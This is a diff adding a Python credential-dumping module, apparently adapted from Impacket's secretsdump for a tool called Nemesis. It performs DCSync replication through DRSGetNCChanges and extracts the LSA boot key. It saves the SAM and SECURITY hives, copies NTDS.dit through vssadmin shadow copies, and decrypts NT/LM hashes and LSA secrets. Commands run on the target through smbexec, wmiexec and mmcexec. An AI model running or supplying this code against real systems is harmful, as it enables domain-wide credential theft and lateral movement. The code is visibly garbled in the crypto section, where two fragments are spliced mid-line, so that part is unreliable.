+ drs['dwExtCaps'] = 0xffffffff
+ request['pextClient']['cb'] = len(drs)
+ request['pextClient']['rgb'] = list(drs.getData())
+ resp = self.__drsr.request(request)
+ if LOG.level == logging.DEBUG:
+ LOG.debug('DRSBind() answer')
+ resp.dump()
+
+ # Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of
+ # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.
+ drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()
+
+ # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.
+ ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * (
+ len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])
+ drsExtensionsInt.fromString(ppextServer)
+
+ if drsExtensionsInt['dwReplEpoch'] != 0:
+ # Different epoch, we have to call DRSBind again
+ if LOG.level == logging.DEBUG:
+ LOG.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[
+ 'dwReplEpoch'])
+ drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']
+ request['pextClient']['cb'] = len(drs)
+ request['pextClient']['rgb'] = list(drs.getData())
+ resp = self.__drsr.request(request)
+
+ self.__hDrs = resp['phDrs']
+
+ # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
+ resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2)
+ if LOG.level == logging.DEBUG:
+ LOG.debug('DRSDomainControllerInfo() answer')
+ resp.dump()
+
+ if resp['pmsgOut']['V2']['cItems'] > 0:
+ self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
+ else:
+ LOG.error("Couldn't get DC info for domain %s" % self.__domainName)
+ raise Exception('Fatal, aborting')
+
+ def getDrsr(self):
+ return self.__drsr
+
+ def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,
+ formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''):
+ if self.__drsr is None:
+ self.__connectDrds()
+
+ LOG.debug('Calling DRSCrackNames for %s ' % name)
+ resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))
+ return resp
+
+ def DRSGetNCChanges(self, userEntry):
+ if self.__drsr is None:
+ self.__connectDrds()
+
+ LOG.debug('Calling DRSGetNCChanges for %s ' % userEntry)
+ request = drsuapi.DRSGetNCChanges()
+ request['hDrs'] = self.__hDrs
+ request['dwInVersion'] = 8
+
+ request['pmsgIn']['tag'] = 8
+ request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid
+ request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid
+
+ dsName = drsuapi.DSNAME()
+ dsName['SidLen'] = 0
+ dsName['Guid'] = string_to_bin(userEntry[1:-1])
+ dsName['Sid'] = ''
+ dsName['NameLen'] = 0
+ dsName['StringName'] = ('\x00')
+
+ dsName['structLen'] = len(dsName.getData())
+
+ request['pmsgIn']['V8']['pNC'] = dsName
+
+ request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0
+ request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0
+
+ request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL
+
+ request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP
+ request['pmsgIn']['V8']['cMaxObjects'] = 1
+ request['pmsgIn']['V8']['cMaxBytes'] = 0
+ request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ
+ if self.__ppartialAttrSet is None:
+ self.__prefixTable = []
+ self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT()
+ self.__ppartialAttrSet['dwVersion'] = 1
+ self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID)
+ for attId in list(NTDSHashes.ATTRTYP_TO_ATTID.values()):
+ self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId))
+ request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet
+ request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable)
+ request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable
+ request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL
+
+ return self.__drsr.request(request)
+
+ def getDomainUsers(self, enumerationContext=0):
+ if self.__samr is None:
+ self.connectSamr(self.getMachineNameAndDomain()[1])
+
+ try:
+ resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle,
+ userAccountControl=samr.USER_NORMAL_ACCOUNT | \
+ samr.USER_WORKSTATION_TRUST_ACCOUNT | \
+ samr.USER_SERVER_TRUST_ACCOUNT |\
+ samr.USER_INTERDOMAIN_TRUST_ACCOUNT,
+ enumerationContext=enumerationContext)
+ except DCERPCException as e:
+ if str(e).find('STATUS_MORE_ENTRIES') < 0:
+ raise
+ resp = e.get_packet()
+ return resp
+
+ def getGroupsInDomain(self):
+ try:
+ resp = samr.hSamrEnumerateGroupsInDomain(self.__samr, self.__domainHandle)
+ except DCERPCException as e:
+ if str(e).find('STATUS_MORE_ENTRIES') < 0:
+ raise
+ resp = e.get_packet()
+ return resp
+
+ def getAliasesInDomain(self):
+ try:
+ resp = samr.hSamrEnumerateAliasesInDomain(self.__samr, self.__domainHandle)
+ except DCERPCException as e:
+ if str(e).find('STATUS_MORE_ENTRIES') < 0:
+ raise
+ resp = e.get_packet()
+ return resp
+
+ def getMembersInGroup(self, rid):
+ ans = samr.hSamrOpenGroup(self.__samr, self.__domainHandle, groupId=rid)
+ resp = samr.hSamrGetMembersInGroup(self.__samr, ans['GroupHandle'])
+
+ return resp
+
+ def getMembersInAlias(self, rid):
+ ans = samr.hSamrOpenAlias(self.__samr, self.__domainHandle, aliasId=rid)
+ resp = samr.hSamrGetMembersInAlias(self.__samr, ans['AliasHandle'])
+
+ return resp
+
+ def getDomainUsersLDAP(self, searchFilter):
+ domainUsers = []
+ if self.__ldapConnection is None:
+ LOG.error('Failed to establish LDAP connection, the user list will be empty')
+ return domainUsers
+
+ try:
+ LOG.debug('Search Filter=%s' % searchFilter)
+ sc = SimplePagedResultsControl(size=100)
+ resp = self.__ldapConnection.search(searchFilter=searchFilter, attributes=['msDS-PrincipalName'], sizeLimit=0, searchControls=[sc])
+ except LDAPSearchError:
+ raise
+
+ self.__ldapConnection.close()
+
+ for item in resp:
+ if isinstance(item, SearchResultEntry):
+ msDSPrincipalName = ''
+ try:
+ for attribute in item['attributes']:
+ if str(attribute['type']) == 'msDS-PrincipalName':
+ msDSPrincipalName = attribute['vals'][0].asOctets().decode('utf-8')
+ except Exception as e:
+ LOG.debug("Exception", exc_info=True)
+ LOG.error('Skipping item, cannot process due to error %s' % str(e))
+ pass
+ else:
+ LOG.debug('DA msDS-PrincipalName: %s' % msDSPrincipalName)
+ domainUsers.append(msDSPrincipalName)
+
+ return domainUsers
+
+ def getDomainSid(self):
+ if self.__domainSid is not None:
+ return self.__domainSid
+
+ if self.__samr is None:
+ self.connectSamr(self.getMachineNameAndDomain()[1])
+
+ return self.__domainSid
+
+ def getMachineKerberosSalt(self):
+ """
+ Returns Kerberos salt for the current connection if
+ we have the correct information
+ """
+ if self.__smbConnection.getServerName() == '':
+ # Todo: figure out an RPC call that gives us the domain FQDN
+ # instead of the NETBIOS name as NetrWkstaGetInfo does
+ return b''
+ else:
+ host = self.__smbConnection.getServerName()
+ domain = self.__smbConnection.getServerDNSDomainName()
+ salt = b'%shost%s.%s' % (domain.upper().encode('utf-8'), host.lower().encode('utf-8'), domain.lower().encode('utf-8'))
+ return salt
+
+ def getMachineNameAndDomain(self):
+ if self.__smbConnection.getServerName() == '':
+ # No serverName.. this is either because we're doing Kerberos
+ # or not receiving that data during the login process.
+ # Let's try getting it through RPC
+ rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]')
+ rpc.set_smb_connection(self.__smbConnection)
+ dce = rpc.get_dce_rpc()
+ dce.connect()
+ dce.bind(wkst.MSRPC_UUID_WKST)
+ resp = wkst.hNetrWkstaGetInfo(dce, 100)
+ dce.disconnect()
+ return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100'][
+ 'wki100_langroup'][:-1]
+ else:
+ return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain()
+
+ def getDNSDomain(self):
+ if self.__smbConnection.getServerDNSDomainName() == '':
+ # Todo: figure out an RPC call that gives us the domain FQDN
+ # instead of the NETBIOS name as NetrWkstaGetInfo does
+ return b''
+ else:
+ return self.__smbConnection.getServerDNSDomainName()
+
+ def getDefaultLoginAccount(self):
+ try:
+ ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon')
+ keyHandle = ans['phkResult']
+ dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName')
+ username = dataValue[:-1]
+ dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName')
+ domain = dataValue[:-1]
+ rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
+ if len(domain) > 0:
+ return '%s\\%s' % (domain,username)
+ else:
+ return username
+ except:
+ return None
+
+ def getServiceAccount(self, serviceName):
+ try:
+ # Open the service
+ ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName)
+ serviceHandle = ans['lpServiceHandle']
+ resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle)
+ account = resp['lpServiceConfig']['lpServiceStartName'][:-1]
+ scmr.hRCloseServiceHandle(self.__scmr, serviceHandle)
+ if account.startswith('.\\'):
+ account = account[2:]
+ return account
+ except Exception as e:
+ # Don't log if history service is not found, that should be normal
+ if serviceName.endswith("_history") is False:
+ LOG.error(e)
+ return None
+
+ def __checkServiceStatus(self):
+ # Open SC Manager
+ ans = scmr.hROpenSCManagerW(self.__scmr)
+ self.__scManagerHandle = ans['lpScHandle']
+ # Now let's open the service
+ ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)
+ self.__serviceHandle = ans['lpServiceHandle']
+ # Let's check its status
+ ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)
+ if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED:
+ LOG.info('Service %s is in stopped state'% self.__serviceName)
+ self.__shouldStop = True
+ self.__started = False
+ elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING:
+ LOG.debug('Service %s is already running'% self.__serviceName)
+ self.__shouldStop = False
+ self.__started = True
+ else:
+ raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState'])
+
+ # Let's check its configuration if service is stopped, maybe it's disabled :s
+ if self.__started is False:
+ ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle)
+ if ans['lpServiceConfig']['dwStartType'] == 0x4:
+ LOG.info('Service %s is disabled, enabling it'% self.__serviceName)
+ self.__disabled = True
+ scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3)
+ LOG.info('Starting service %s' % self.__serviceName)
+ scmr.hRStartServiceW(self.__scmr,self.__serviceHandle)
+ time.sleep(1)
+
+ def enableRegistry(self):
+ self.__connectSvcCtl()
+ self.__checkServiceStatus()
+ self.__connectWinReg()
+
+ def __restore(self):
+ # First of all stop the service if it was originally stopped
+ if self.__shouldStop is True:
+ LOG.info('Stopping service %s' % self.__serviceName)
+ scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)
+ if self.__disabled is True:
+ LOG.info('Restoring the disabled state for service %s' % self.__serviceName)
+ scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4)
+ if self.__serviceDeleted is False and self.__tmpServiceName is not None:
+ # Check again the service we created does not exist, starting a new connection
+ # Why?.. Hitting CTRL+C might break the whole existing DCE connection
+ try:
+ rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost())
+ if hasattr(rpc, 'set_credentials'):
+ # This method exists only for selected protocol sequences.
+ rpc.set_credentials(*self.__smbConnection.getCredentials())
+ rpc.set_kerberos(self.__doKerberos, self.__kdcHost)
+ self.__scmr = rpc.get_dce_rpc()
+ self.__scmr.connect()
+ self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
+ # Open SC Manager
+ ans = scmr.hROpenSCManagerW(self.__scmr)
+ self.__scManagerHandle = ans['lpScHandle']
+ # Now let's open the service
+ resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName)
+ service = resp['lpServiceHandle']
+ scmr.hRDeleteService(self.__scmr, service)
+ scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
+ scmr.hRCloseServiceHandle(self.__scmr, service)
+ scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle)
+ scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle)
+ rpc.disconnect()
+ except Exception as e:
+ # If service is stopped it'll trigger an exception
+ # If service does not exist it'll trigger an exception
+ # So. we just wanna be sure we delete it, no need to
+ # show this exception message
+ pass
+
+ def finish(self):
+ self.__restore()
+ if self.__rrp is not None:
+ self.__rrp.disconnect()
+ if self.__drsr is not None:
+ self.__drsr.disconnect()
+ if self.__samr is not None:
+ self.__samr.disconnect()
+ if self.__scmr is not None:
+ try:
+ self.__scmr.disconnect()
+ except Exception as e:
+ if str(e).find('STATUS_INVALID_PARAMETER') >=0:
+ pass
+ else:
+ raise
+
+ def getBootKey(self):
+ bootKey = b''
+ ans = rrp.hOpenLocalMachine(self.__rrp)
+ self.__regHandle = ans['phKey']
+ for key in ['JD','Skew1','GBG','Data']:
+ LOG.debug('Retrieving class info for %s'% key)
+ ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key)
+ keyHandle = ans['phkResult']
+ ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle)
+ bootKey = bootKey + b(ans['lpClassOut'][:-1])
+ rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
+
+ transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
+
+ bootKey = unhexlify(bootKey)
+
+ for i in range(len(bootKey)):
+ self.__bootKey += bootKey[transforms[i]:transforms[i]+1]
+
+ LOG.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey).decode('utf-8'))
+
+ return self.__bootKey
+
+ def checkNoLMHashPolicy(self):
+ LOG.debug('Checking NoLMHash Policy')
+ ans = rrp.hOpenLocalMachine(self.__rrp)
+ self.__regHandle = ans['phKey']
+
+ ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa')
+ keyHandle = ans['phkResult']
+ try:
+ dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash')
+ except:
+ noLMHash = 0
+
+ if noLMHash != 1:
+ LOG.debug('LMHashes are being stored')
+ return False
+
+ LOG.debug('LMHashes are NOT being stored')
+ return True
+
+ def __retrieveHive(self, hiveName):
+ tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp'
+ ans = rrp.hOpenLocalMachine(self.__rrp)
+ regHandle = ans['phKey']
+ try:
+ ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName)
+ except:
+ raise Exception("Can't open %s hive" % hiveName)
+ keyHandle = ans['phkResult']
+ rrp.hBaseRegSaveKey(self.__rrp, keyHandle, '..\\Temp\\'+tmpFileName)
+ rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
+ rrp.hBaseRegCloseKey(self.__rrp, regHandle)
+ # Now let's open the remote file, so it can be read later
+ remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\'+tmpFileName)
+ return remoteFileName
+
+ def saveSAM(self):
+ LOG.debug('Saving remote SAM database')
+ return self.__retrieveHive('SAM')
+
+ def saveSECURITY(self):
+ LOG.debug('Saving remote SECURITY database')
+ return self.__retrieveHive('SECURITY')
+
+ def __smbExec(self, command):
+ self.__serviceDeleted = False
+ resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName,
+ lpBinaryPathName=command)
+ service = resp['lpServiceHandle']
+ try:
+ scmr.hRStartServiceW(self.__scmr, service)
+ except:
+ pass
+ scmr.hRDeleteService(self.__scmr, service)
+ self.__serviceDeleted = True
+ scmr.hRCloseServiceHandle(self.__scmr, service)
+
+ def __getInterface(self, interface, resp):
+ # Now let's parse the answer and build an Interface instance
+ objRefType = OBJREF(b''.join(resp))['flags']
+ objRef = None
+ if objRefType == FLAGS_OBJREF_CUSTOM:
+ objRef = OBJREF_CUSTOM(b''.join(resp))
+ elif objRefType == FLAGS_OBJREF_HANDLER:
+ objRef = OBJREF_HANDLER(b''.join(resp))
+ elif objRefType == FLAGS_OBJREF_STANDARD:
+ objRef = OBJREF_STANDARD(b''.join(resp))
+ elif objRefType == FLAGS_OBJREF_EXTENDED:
+ objRef = OBJREF_EXTENDED(b''.join(resp))
+ else:
+ logging.error("Unknown OBJREF Type! 0x%x" % objRefType)
+
+ return IRemUnknown2(
+ INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'],
+ oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'],
+ target=interface.get_target()))
+
+ def __mmcExec(self,command):
+ command = command.replace('%COMSPEC%', 'c:\\windows\\system32\\cmd.exe')
+ username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials()
+ dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey,
+ oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
+ iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch)
+ iMMC = IDispatch(iInterface)
+
+ resp = iMMC.GetIDsOfNames(('Document',))
+
+ dispParams = DISPPARAMS(None, False)
+ dispParams['rgvarg'] = NULL
+ dispParams['rgdispidNamedArgs'] = NULL
+ dispParams['cArgs'] = 0
+ dispParams['cNamedArgs'] = 0
+ resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
+
+ iDocument = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
+ resp = iDocument.GetIDsOfNames(('ActiveView',))
+ resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
+
+ iActiveView = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
+ pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0]
+
+ pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
+
+ dispParams = DISPPARAMS(None, False)
+ dispParams['rgdispidNamedArgs'] = NULL
+ dispParams['cArgs'] = 4
+ dispParams['cNamedArgs'] = 0
+ arg0 = VARIANT(None, False)
+ arg0['clSize'] = 5
+ arg0['vt'] = VARENUM.VT_BSTR
+ arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
+ arg0['_varUnion']['bstrVal']['asData'] = 'c:\\windows\\system32\\cmd.exe'
+
+ arg1 = VARIANT(None, False)
+ arg1['clSize'] = 5
+ arg1['vt'] = VARENUM.VT_BSTR
+ arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
+ arg1['_varUnion']['bstrVal']['asData'] = 'c:\\'
+
+ arg2 = VARIANT(None, False)
+ arg2['clSize'] = 5
+ arg2['vt'] = VARENUM.VT_BSTR
+ arg2['_varUnion']['tag'] = VARENUM.VT_BSTR
+ arg2['_varUnion']['bstrVal']['asData'] = command[len('c:\\windows\\system32\\cmd.exe'):]
+
+ arg3 = VARIANT(None, False)
+ arg3['clSize'] = 5
+ arg3['vt'] = VARENUM.VT_BSTR
+ arg3['_varUnion']['tag'] = VARENUM.VT_BSTR
+ arg3['_varUnion']['bstrVal']['asData'] = '7'
+ dispParams['rgvarg'].append(arg3)
+ dispParams['rgvarg'].append(arg2)
+ dispParams['rgvarg'].append(arg1)
+ dispParams['rgvarg'].append(arg0)
+
+ iActiveView.Invoke(pExecuteShellCommand, 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
+
+ dispParams = DISPPARAMS(None, False)
+ dispParams['rgvarg'] = NULL
+ dispParams['rgdispidNamedArgs'] = NULL
+ dispParams['cArgs'] = 0
+ dispParams['cNamedArgs'] = 0
+
+ iMMC.Invoke(pQuit, 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
+
+
+ def __wmiExec(self, command):
+ # Convert command to wmi exec friendly format
+ command = command.replace('%COMSPEC%', 'cmd.exe')
+ username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials()
+ dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey,
+ oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
+ iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
+ iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
+ iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
+ iWbemLevel1Login.RemRelease()
+
+ win32Process,_ = iWbemServices.GetObject('Win32_Process')
+ win32Process.Create(command, '\\', None)
+
+ dcom.disconnect()
+
+ def __executeRemote(self, data):
+ self.__tmpServiceName = ''.join([random.choice(string.ascii_letters) for _ in range(8)])
+ command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + \
+ self.__shell + self.__batchFile
+ command += ' & ' + 'del ' + self.__batchFile
+
+ LOG.debug('ExecuteRemote command: %s' % command)
+ if self.__execMethod == 'smbexec':
+ self.__smbExec(command)
+ elif self.__execMethod == 'wmiexec':
+ self.__wmiExec(command)
+ elif self.__execMethod == 'mmcexec':
+ self.__mmcExec(command)
+ else:
+ raise Exception('Invalid exec method %s, aborting' % self.__execMethod)
+
+
+ def __answer(self, data):
+ self.__answerTMP += data
+
+ def __getLastVSS(self, forDrive=None):
+ if forDrive:
+ command = '%COMSPEC% /C vssadmin list shadows /for=' + forDrive
+ else:
+ command = '%COMSPEC% /C vssadmin list shadows'
+ self.__executeRemote(command)
+ time.sleep(5)
+ tries = 0
+ while True:
+ try:
+ self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
+ break
+ except Exception as e:
+ if tries > 30:
+ # We give up
+ raise Exception('Too many tries trying to list vss shadows')
+ if str(e).find('SHARING') > 0:
+ # Stuff didn't finish yet.. wait more
+ time.sleep(5)
+ tries +=1
+ pass
+ else:
+ raise
+
+ lines = self.__answerTMP.split(b'\n')
+ lastShadow = b''
+ lastShadowFor = b''
+ lastShadowId = b''
+
+ # Let's find the last one
+ # The string used to search the shadow for drive. Wondering what happens
+ # in other languages
+ SHADOWFOR = b'Volume: ('
+ IDSTART = b'Shadow Copy ID: {'
+ IDLEN=len('3547017b-0ac9-478b-88e6-f9be7e1c11999')
+
+ for line in lines:
+ if line.find(b'GLOBALROOT') > 0:
+ lastShadow = line[line.find(b'\\\\?'):][:-1]
+ elif line.find(SHADOWFOR) > 0:
+ lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2]
+ elif line.find(IDSTART) > 0:
+ lastShadowId = line[line.find(IDSTART)+len(IDSTART):][:IDLEN-1]
+
+ self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
+
+ LOG.debug('__getLastVSS found last VSS %s on %s with ID of %s' % (lastShadow.decode('utf-8'), lastShadowFor.decode('utf-8'), lastShadowId.decode('utf-8')))
+
+ return lastShadow.decode('utf-8'), lastShadowFor.decode('utf-8'), lastShadowId.decode('utf-8')
+
+ def saveNTDS(self):
+ LOG.info('Searching for NTDS.dit')
+ # First of all, let's try to read the target NTDS.dit registry entry
+ try:
+ ans = rrp.hOpenLocalMachine(self.__rrp)
+ regHandle = ans['phKey']
+ except:
+ # Can't open the root key
+ return None
+
+ try:
+ ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters')
+ keyHandle = ans['phkResult']
+ except:
+ # Can't open the registry path, assuming no NTDS on the other end
+ return None
+
+ try:
+ dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file')
+ ntdsLocation = dataValue[:-1]
+ ntdsDrive = ntdsLocation[:2]
+ except:
+ # Can't open the registry path, assuming no NTDS on the other end
+ return None
+
+ rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
+ rrp.hBaseRegCloseKey(self.__rrp, regHandle)
+
+ LOG.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation)
+ LOG.info('Using %s method for remote execution' % self.__execMethod)
+ # Get the list of remote shadows
+ shadow, shadowFor, shadowId = self.__getLastVSS(forDrive=ntdsDrive)
+ if shadow == '' or (shadow != '' and shadowFor != ntdsDrive):
+ # No shadow, create one
+ self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive)
+ shadow, shadowFor, shadowId = self.__getLastVSS(forDrive=ntdsDrive)
+ shouldRemove = True
+ if shadow == '' or shadowFor != ntdsDrive:
+ raise Exception('Could not get a VSS')
+ else:
+ # There was already a shadow, let's not delete this
+ shouldRemove = False
+
+ # Now copy the ntds.dit to the temp directory
+ tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp'
+
+ self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName))
+
+ if shouldRemove is True:
+ LOG.debug('Trying to delete shadow copy using command : %%COMSPEC%% /C vssadmin delete shadows /shadow="{%s}" /Quiet' % shadowId)
+ self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /shadow="{%s}" /Quiet' % shadowId)
+
+
+ tries = 0
+ while True:
+ try:
+ self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
+ break
+ except Exception as e:
+ if tries >= 30:
+ raise e
+ if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0 or str(e).find('STATUS_SHARING_VIOLATION') >=0:
+ tries += 1
+ time.sleep(5)
+ pass
+ else:
+ logging.error('Cannot delete target file \\\\%s\\ADMIN$\\Temp\\__output: %s' % (self.__smbConnection.getRemoteHost(), str(e)))
+ pass
+
+ remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName)
+
+ return remoteFileName
+
+class CryptoCommon:
+ # Common crypto stuff used over different classes
+ def deriveKey(self, baseKey):
+ # 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key
+ # Let I be the little-endian, unsigned integer.
+ # Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes.
+ # Note that because I is in little-endian byte order, I[0] is the least significant byte.
+ # Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2].
+ # Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1]
+ key = pack('= 20:
+ lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD, newStyle)
+ else:
+ lmHash = b''
+
+ if encNTHash != b'':
+ ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD, newStyle)
+ else:
+ ntHash = b''
+
+ if lmHash == b'':
+ lmHash = ntlm.LMOWFv1('','')
+ if ntHash == b'':
+ ntHash = ntlm.NTOWFv1('','')
+
+ lmHasStr = hexlify(lmHash).decode('utf-8')
+ ntHashStr = hexlify(ntHash).decode('utf-8')
+ answer = "%s:%d:%s:%s:::" % (userName, rid, lmHasStr, ntHashStr)
+ self.__itemsFound[rid] = (
+ userName,
+ rid,
+ lmHasStr,
+ ntHashStr,
+ answer
+ )
+ # self.__perSecretCallback(answer)
+
+ def export(self, baseFileName, openFileFunc = None):
+ if len(self.__itemsFound) > 0:
+ items = sorted(self.__itemsFound)
+ fileName = baseFileName+'.sam'
+ fd = openFile(fileName, openFileFunc=openFileFunc)
+ for item in items:
+ fd.write(self.__itemsFound[item]+'\n')
+ fd.close()
+ return fileName
+
+
+#########################################
+#
+# /begin adapted for Nemesis
+#
+#########################################
+
+def decryptLSA(value, boot_key, vista_style):
+ if vista_style is True:
+ record = LSA_SECRET(value)
+ sha = hashlib.sha256()
+ sha.update(boot_key)
+ for i in range(1000):
+ sha.update(record['EncryptedData'][:32])
+ tmpKey = sha.digest()
+ plainText = CryptoCommon().decryptAES(tmpKey, record['EncryptedData'][32:])
+ record = LSA_SECRET_BLOB(plainText)
+ return record['Secret'][52:][:32]
+ else:
+ md5 = hashlib.new('md5')
+ md5.update(boot_key)
+ for i in range(1000):
+ md5.update(value[60:76])
+ tmpKey = md5.digest()
+ rc4 = ARC4.new(tmpKey)
+ plainText = rc4.decrypt(value[12:60])
+ return plainText[0x10:0x20]
+
+def decryptLSASecret(value, key, vista_style, NKLM=False):
+ if vista_style:
